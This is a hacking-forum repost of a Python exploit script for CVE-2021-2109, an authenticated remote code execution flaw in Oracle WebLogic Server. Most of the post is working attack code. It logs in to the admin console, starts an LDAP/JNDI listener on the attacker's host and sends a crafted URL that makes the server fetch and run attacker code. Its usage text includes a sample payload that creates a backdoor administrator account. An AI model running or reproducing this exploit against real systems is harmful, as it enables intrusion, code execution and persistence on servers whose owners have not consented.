Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

Oracle WebLogic Server 14.1.1.0 - RCE (Authenticated)

 Share


Recommended Posts

# Exploit Title: Oracle WebLogic Server 14.1.1.0 - RCE (Authenticated)
# Date: 2021-01-21
# Exploit Author: Photubias 
# Vendor Advisory: [1] https://www.oracle.com/security-alerts/cpujan2021.html
# Vendor Homepage: https://www.oracle.com
# Version: WebLogic 10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0 (fixed in JDKs 6u201, 7u191, 8u182 & 11.0.1)
# Tested on: WebLogic 14.1.1.0 with JDK-8u181 on Windows 10 20H2
# CVE: CVE-2021-2109

#!/usr/bin/env python3
'''    
	Copyright 2021 Photubias(c)

        This program is free software: you can redistribute it and/or modify
        it under the terms of the GNU General Public License as published by
        the Free Software Foundation, either version 3 of the License, or
        (at your option) any later version.

        This program is distributed in the hope that it will be useful,
        but WITHOUT ANY WARRANTY; without even the implied warranty of
        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
        GNU General Public License for more details.

        You should have received a copy of the GNU General Public License
        along with this program.  If not, see <http://www.gnu.org/licenses/>.
        
        File name CVE-2021-2109.py
        written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be

        This is a native implementation without requirements, written in Python 3.
        Works equally well on Windows as Linux (as MacOS, probably ;-)
        
        Requires JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
         from https://github.com/welk1n/JNDI-Injection-Exploit
         to be in the same folder
'''
import urllib.request, urllib.parse, http.cookiejar, ssl
import sys, os, optparse, subprocess, threading, time

## Static vars; change at will, but recommend leaving as is
sURL = 'http://192.168.0.100:7001'
iTimeout = 5
oRun = None

## Ignore unsigned certs, if any because WebLogic is default HTTP
ssl._create_default_https_context = ssl._create_unverified_context

class runJar(threading.Thread):
    def __init__(self, sJarFile, sCMD, sAddress):
        self.stdout = []
        self.stderr = ''
        self.cmd = sCMD
        self.addr = sAddress
        self.jarfile = sJarFile
        self.proc = None
        threading.Thread.__init__(self)

    def run(self):
        self.proc = subprocess.Popen(['java', '-jar', self.jarfile, '-C', self.cmd, '-A', self.addr], shell=False, stdout = subprocess.PIPE, stderr = subprocess.PIPE, universal_newlines=True)
        for line in iter(self.proc.stdout.readline, ''): self.stdout.append(line)
        for line in iter(self.proc.stderr.readline, ''): self.stderr += line
        

def findJNDI():
    sCurDir = os.getcwd()
    sFile = ''
    for file in os.listdir(sCurDir):
        if 'JNDI' in file and '.jar' in file:
            sFile = file
    print('[+] Found and using ' + sFile)
    return sFile

def findJAVA(bVerbose):
    try:
        oProc = subprocess.Popen('java -version', stdout = subprocess.PIPE, stderr = subprocess.STDOUT)
    except:
        exit('[-] Error: java not found, needed to run the JAR file\n    Please make sure to have "java" in your path.')
    sResult = list(oProc.stdout)[0].decode()
    if bVerbose: print('[+] Found Java: ' + sResult)

def checkParams(options, args):
    if args: sHost = args[0]
    else:
        sHost = input('[?] Please enter the URL ['+sURL+'] : ')
        if sHost == '': sHost = sURL
        if sHost[-1:] == '/': sHost = sHost[:-1]
        if not sHost[:4].lower() == 'http': sHost = 'http://' + sHost
    if options.username: sUser = options.username
    else:
        sUser = input('[?] Username [weblogic] : ')
        if sUser == '': sUser = 'weblogic'
    if options.password: sPass = options.password
    else:
        sPass = input('[?] Password [Passw0rd-] : ')
        if sPass == '': sPass = 'Passw0rd-'
    if options.command: sCMD = options.command
    else:
        sCMD = input('[?] Command to run [calc] : ')
        if sCMD == '': sCMD = 'calc'
    if options.listenaddr: sLHOST = options.listenaddr
    else:
        sLHOST = input('[?] Local IP to connect back to [192.168.0.10] : ')
        if sLHOST == '': sLHOST = '192.168.0.10'
    if options.verbose: bVerbose = True
    else: bVerbose = False
    return (sHost, sUser, sPass, sCMD, sLHOST, bVerbose)

def startListener(sJarFile, sCMD, sAddress, bVerbose):
    global oRun
    oRun = runJar(sJarFile, sCMD, sAddress)
    oRun.start()
    print('[!] Starting listener thread and waiting 3 seconds to retrieve the endpoint')
    oRun.join(3)
    if not oRun.stderr == '':
        exit('[-] Error starting Java listener:\n' + oRun.stderr)
    bThisLine=False
    if bVerbose: print('[!] For this to work, make sure your firewall is configured to be reachable on 1389 & 8180')
    for line in oRun.stdout:
        if bThisLine: return line.split('/')[3].replace('\n','')
        if 'JDK 1.8' in line: bThisLine = True

def endIt():
    global oRun
    print('[+] Closing threads')
    if oRun: oRun.proc.terminate()
    exit(0)

def main():
    usage = (
        'usage: %prog [options] URL \n'
        ' Make sure to have "JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar"\n'
        ' in the current working folder\n'
        'Get it here: https://github.com/welk1n/JNDI-Injection-Exploit\n'
        'Only works when hacker is reachable via an IPv4 address\n'
        'Use "whoami" to just verify the vulnerability (OPSEC safe but no output)\n'
        'Example: CVE-2021-2109.py -u weblogic -p Passw0rd -c calc -l 192.168.0.10 http://192.168.0.100:7001\n'
        'Sample payload as admin: cmd /c net user pwned Passw0rd- /add & net localgroup administrators pwned /add'
        )

    parser = optparse.OptionParser(usage=usage)
    parser.add_option('--username', '-u', dest='username')
    parser.add_option('--password', '-p', dest='password')
    parser.add_option('--command', '-c', dest='command')
    parser.add_option('--listen', '-l', dest='listenaddr')
    parser.add_option('--verbose', '-v', dest='verbose', action="store_true", default=False)

    ## Get or ask for the vars
    (options, args) = parser.parse_args()
    (sHost, sUser, sPass, sCMD, sLHOST, bVerbose) = checkParams(options, args)

    ## Verify Java and JAR file
    sJarFile = findJNDI()
    findJAVA(bVerbose)
    
    ## Keep track of cookies between requests
    cj = http.cookiejar.CookieJar()
    oOpener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
    
    print('[+] Verifying reachability')
    ## Get the cookie
    oRequest = urllib.request.Request(url = sHost + '/console/')
    oResponse = oOpener.open(oRequest, timeout = iTimeout)
    for c in cj:
        if c.name == 'ADMINCONSOLESESSION':
            if bVerbose: print('[+] Got cookie "' + c.value + '"')

    ## Logging in
    lData = {'j_username' : sUser, 'j_password' : sPass, 'j_character_encoding' : 'UTF-8'}
    lHeaders = {'Referer' : sHost + '/console/login/LoginForm.jsp'}
    oRequest = urllib.request.Request(url = sHost + '/console/j_security_check', data = urllib.parse.urlencode(lData).encode(), headers = lHeaders)
    oResponse = oOpener.open(oRequest, timeout = iTimeout)
    sResult = oResponse.read().decode(errors='ignore').split('\r\n')
    bSuccess = True
    for line in sResult:
        if 'Authentication Denied' in line: bSuccess = False
    if bSuccess: print('[+] Succesfully logged in!\n')
    else: exit('[-] Authentication Denied')
    
    ## Launch the LDAP listener and retrieve the random endpoint value
    sRandom = startListener(sJarFile, sCMD, sLHOST, bVerbose)
    if bVerbose: print('[+] Got Java value: ' + sRandom)

    ## This is the actual vulnerability, retrieve LDAP data from victim which the runs on victim, it bypasses verification because IP is written as "127.0.0;1" instead of "127.0.0.1"
    print('\n[+] Firing exploit now, hold on')
    ##  http://192.168.0.100:7001/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(-ldap://192.168.0;10:1389/5r5mu7;AdminServer-)
    sConvertedIP = sLHOST.split('.')[0] + '.' + sLHOST.split('.')[1] + '.' + sLHOST.split('.')[2] + ';' + sLHOST.split('.')[3]
    sFullUrl = sHost + r'/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://' + sConvertedIP + ':1389/' + sRandom + r';AdminServer%22)'
    if bVerbose: print('[!] Using URL ' + sFullUrl)
    oRequest = urllib.request.Request(url = sFullUrl, headers = lHeaders)
    oResponse = oOpener.open(oRequest, timeout = iTimeout)
    time.sleep(5)
    bExploitWorked = False
    for line in oRun.stdout:
        if 'Log a request' in line: bExploitWorked = True
        if 'BypassByEl' in line: print('[-] Exploit failed, wrong SDK on victim')
    if not bExploitWorked: print('[-] Exploit failed, victim likely patched')
    else: print('[+] Victim vulnerable, exploit worked (could be as limited account!)')
    if bVerbose: print(oRun.stderr)
    endIt()

if __name__ == "__main__":
    try: main()
    except KeyboardInterrupt: endIt()
            
Link to post
Link to comment
Share on other sites

 Share

discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    ×
    ×
    • Create New...